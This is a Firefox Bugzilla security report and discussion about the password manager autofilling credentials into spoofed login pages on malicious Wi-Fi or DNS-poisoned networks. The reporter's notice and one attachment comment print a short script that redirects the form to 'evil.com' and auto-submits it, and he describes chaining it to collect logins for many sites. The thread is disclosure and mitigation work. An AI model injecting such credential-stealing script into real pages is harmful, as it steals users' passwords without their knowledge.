534541 - Passwords from login manager can be intercepted by MITM attacker (e.g. evil wifi hotspot or DNS poisoning)

Status: RESOLVED DUPLICATE of bug 1217152

(Toolkit :: Password Manager, defect)

Description

[Reed Loden [:reed]]

Received the following notice to security@ from Itzhak Avraham of Citadel Technologies LTD. <[e-mail]> at Sun, 13 Dec 2009 13:07:26 +0200.

===========================================================================

I've found a bug in the design of the password manager of firefox. This
affects *any* firefox version so far that has password keeper.

Entering to a website allows the password manager to fill in the
credentials of username/password and other privacy related details.

Typical example :

If a malicious user creates a copy of that url and spoof it with DNS
poisoning, wireless login website, or any other method (especially the
wireless example is good when you're going to a new wireless network
that requires login to a web based interface, any site you will go into,
will be opened as the login site of the wireless network, so instead of
going to the login-site of wireless network, it might take you to login
site of exact page : i.e self made twitter.com/login page).

When this happens, the login credentials fill in immediately but the
page doesn't submit.

However, as a malicious user creates this page, he also controls its
content! So let's say I'd add to the crafted page the following lines :

<script>
var idform=document.getElementById('signin_form');
idform.action="http://evil.com/log_creds.py";
var button=document.getElementById('signin_submit');
button.click();
</script>

This is a page I've created using copying twitter.com/login source
(without even trying to fix the design) :

But wait, it fills the same creds for the faked page as-well! Let's add
the 4 lines to the bottom of the fake page :

If we do a script in evil.com that identifies the referrer of the
request using the referrer field in HTTP POST Request we can do
iteration over every website that stored creds on it :

In log_creds.py : 
document.location=nextsite;

if list is over, and all the username/passwords for
linkedin,twitter,gmail,facebook are stolen it can forward as to the web
login interface to the wireless network.

All this can be made without the user even notice those actions !!!

I'm not sure it can be fixed easily since it's a architecture problem,
but please let me know what's going on with this one,  and when I can
publish it in my blog (http://imthezuk.blogspot.com)

Proof of concept with stealing lots of credentials for wireless network
with my own AP has been made (on myself, not on other users!)

===========================================================================

Comment 4

[Itzhak Avraham]

Actually it also might work for remote sites, as if stealing creds work from the id field or other identifiers, so it's quite HIGH/CRITICAL since only needed in this case would be tricking user to malicious website.
I will post pictures demonstrating it tomorrow.

Comment 5

[Daniel Veditz [:dveditz]]

In the attack you outline you're presupposing some kind of network control. If that's the case you can simply sniff the password as it goes by in the clear, or if it posts back over SSL as twitter does (critical SSL mistake #1, http://blogs.msdn.com/ie/archive/2005/04/20/410240.aspx) you modify the form as it goes by so it doesn't. Or if the site is entirely SSL you have to mirror it unencrypted and hope the user doesn't notice, or present a fake certificate and hope the user doesn't notice.

In all those cases you get the password with or without a password manager because the user is trying to log in. Given the success of phishing you might not even need to completely control the network, just put up an entirely fake page on another domain.

If the user did not intend to log in then the password manager behavior does allow stealing passwords the user didn't intend to use. Couple this with the CSS history-stealing attack and an attacker can quicky find out which of the top 10,000 sites you visit and then open a hundred iframes on faked copies of those pages, stealing your passwords wholesale (assuming your starting point of network control and non-SSL sites).

This all adds up to passwords on non-SSL sites are a bad idea, and the password manager makes it a little worse.

There is a backend pref setting that makes the password manager require user-interaction before filling in passwords, set "signon.autofillForms" to false. I use it, but not enough people seem concerned about the problem to have included it in one of the many "improve security" addons.

I would love it if we came up with a compelling UI so that could be made the default setting, such as instead of filling in the password bring up an infobar (doorhanger?) saying we have passwords for this site. From the new UI notice the user can interact to fill-in the login information and submit in one action, but otherwise can't have the data stolen. That's more or less what bug 359675 is about, plus some work on identity going on as a Mozilla Labs project.

Comment 6

[Itzhak Avraham]

This bug is without user interaction!
The user goes to a wireless access point, and before he notice anything (since it's without his interaction) all his passwords are stolen.
It's not a duplicate in my opinion (i'm not sure if it's marked dup or not now since it's stoked-line on it).
see the photos for more info, all this happens before the user can do anything.

The resolve of this issue would be not posting before the user clicks on continue or something like that in the PW manager window if the POST method value site had been changed.

Comment 7

[Itzhak Avraham]

Attachment: Original twitter

Original twitter

Comment 8

[Itzhak Avraham]

Attachment: fake twitter via document.location on default AP page to fake twitter

fake twitter via document.location on default AP page to fake twitter.
It's not the real twitter.
In this case it's pointing to 127.0.0.1 and in this page I've added the following lines 
<script>
var idform=document.getElementById('signin_form');
idform.action="http://evil.com/log_creds.py";
var button=document.getElementById('signin_submit');
button.click();
</script>

so user doesn't even interact with page and it submits to evil.com;
afterward evil.com can redirect to other sites such as gmail (with just using the web forms without ssl!)/linkedin/whatever and stealing those credentials without user interaction as-well

Comment 9

[Itzhak Avraham]

Attachment: This is the result of the line I've added. Passwords are sent to evil.com

This is the result of the line I've added. Passwords are sent to evil.com which will redirect to other fake sites and steal credentials for those as-well.

The only solution I could have think of is if the form had become different within it's POST method, FF should ask user for continue/stop button.

Comment 10

[Daniel Veditz [:dveditz]]

(In reply to comment #6)
> This bug is without user interaction!
> The user goes to a wireless access point, and before he notice anything (since
> it's without his interaction) all his passwords are stolen.

Yes, I understood that. Given an attacker with the ability to modify HTTP traffic you can steal all passwords saved for non-SSL sites. Such modifications aren't hard, toolkits exist and are popularized through blogs and security conference talks.

The "user interaction" was in the bug I duped this to, as in fix this bug by requiring user interaction to indicate intention before filling in the form. Such a network attacker could still steal the password for THAT unencrypted page--the fix for network MITM is SSL after all--but at least the attacker couldn't steal all the rest of the user's passwords at the same time.

> It's not a duplicate in my opinion (i'm not sure if it's marked dup or not now
> since it's stoked-line on it).

I'm un-duping. The other bug didn't "fix" the problem in a useful way, I may be the only person in the world who has manually changed the hidden signon.autofillForms preference. I thought that was just a stop-gap patch and didn't notice the bug was closed. My bugzilla-fu fails to find a bug to hook this into some kind of UI which I was pretty sure existed, so this bug will do.

> The resolve of this issue would be not posting before the user clicks on
> continue or something like that in the PW manager window if the POST method
> value site had been changed.

If the form action points at a new site the password manager shouldn't be filling in the password. That's what bug 360493 was about and it still appears to be fixed. However nothing stops an attacker from letting the form originally post back to the real server and then injecting an onsubmit() that does something else with it. And of course if it's posting back to a non-SSL site then the attacker can sniff/redirect it anyway since we're already assuming the ability to modify traffic.

Comment 11

[Itzhak Avraham]

Proposed idea to patch this one :
PW Manager will check if forms were changed from the last time (meaning it will also save them), if it had been changed such as the value of the site it will send the password to, PW Manager will halt the post and ask the user for confirmation. This case should only happen for the first time for each site and ONLY if being attacked it will happen again.
What do you think about it?


P.S,
Is there any way I can join you and help fix security bugs? that's what I do for work anyway.

Comment 12

[Justin Dolske [:Dolske]]

(In reply to comment #10)

> I'm un-duping. The other bug didn't "fix" the problem in a useful way, I may be
> the only person in the world who has manually changed the hidden
> signon.autofillForms preference. I thought that was just a stop-gap patch and
> didn't notice the bug was closed.

So does this still merit sg:high? If you're being pwned on a malicious WiFi hotspot, that seems to be the root problem. We can attempt to mitigate the damage, but I don't think it can be eliminated entirely.

Comment 13

[Itzhak Avraham]

Wifi hot-spot isn't the problem. If a user would have login to facebook.com and the creds were stolen, it's his problem and it's not a problem at all. But in this scanario, credentials of sites that the user never had the intention of logining to are at risk as-well (that's why it's even a security risk at the first place).

Imagine going to a cafe and connecting to Wifi and I get your passwords to : facebook.com,linkedin.com,twitter.com,... and you don't see anything weird and also you didn't even logged into those sites (it can happen without user interaction). I think that's the definition of high problems.

Comment 14

[Justin Dolske [:Dolske]]

I suppose we could block autofill of passwords into forms (well, <iframes>) when the frame origin != window.top origin. That would prevent having a little iframe cycling through spoofed login pages for the top-1000 websites. Though I suspect this still ends up being whack-a-mole.

For example, you just inject a script into every page that waits for the user to go idle, and starts cycling the tab through those top-1000 sites.

Comment 15

[Itzhak Avraham]

Thanks for your comment.

Injection of script would only work on a user visited website (which is a risk a user have to take once in a public wireless), but this bug can be used on sites the user didn't intend to visit at all , so I like your response, this will block this behavior indeed.

Comment 16

[Reed Loden [:reed]]

In the MFSA that results from this bug, the reporter would like to be credited as "Itzhak Avraham for www.PreIncidentAssessment.com and Samsung Electronics".

Comment 17

[Jesse Ruderman]

I think we should discuss possible solutions in public.  This problem is pretty obvious to anyone familiar with bug 360493 and bug 408531, and any solution is likely to require UI changes.

Comment 18

[Itzhak Avraham]

Jermiah Grossman just talks about it at BLACKHAT!! WTF?!

Comment 20

[Samuel Sidler (:ss)]

Err... comment 19 is spam... and porn...

Comment 21

[Dave Miller [:justdave]]

The content of attachment 682851 [details] has been deleted for the following reason:

attachment was porn spam (uploader banned)

Comment 22

[Brian Smith (:briansmith, :bsmith, use NEEDINFO?)]

sec-high because it meets "Obtain confidential data from other sites the user is visiting or the local machine, or inject data or code into those sites, requiring no more than normal browsing actions" and "Failure to use TLS where needed to ensure confidential/security," and because it is definitely worse than the sec-moderate criteria of "Local storage of passwords in unencrypted form."

I marked this as depending on bug 759860 (note: read the last comments on that bug; its summary may need to be modified to be more nuanced). Perhaps bug 759860 and this bug reduce to the same thing, and one should be marked as a duplicate of the other.

Comment 23

[Daniel Veditz [:dveditz]]

The evidence suggests sec-high overrates the bug: it's public, featured in talks, and yet little evidence of actual exploitation. Don't get me wrong: I hate our implementation and counsel people not to use our password manager because it's unsafe unless you set a hidden pref, but we have not treated this as a sec-high bug and it has not been exploited like a sec-high bug.

Comment 24

[Itzhak Avraham]

High or not, I have seen strong evidence of actual exploitation. The current tools do not detect the exploitation of it, but it is happening.
I have seen MITM based attacks in Tel Aviv, Amsterdam and Los Angeles.

Zuk

Comment 26

[Matthew N. [:MattN]]

We no longer autofill over http:// and we show a warning upon focusing an insecure login field since bug 1217152.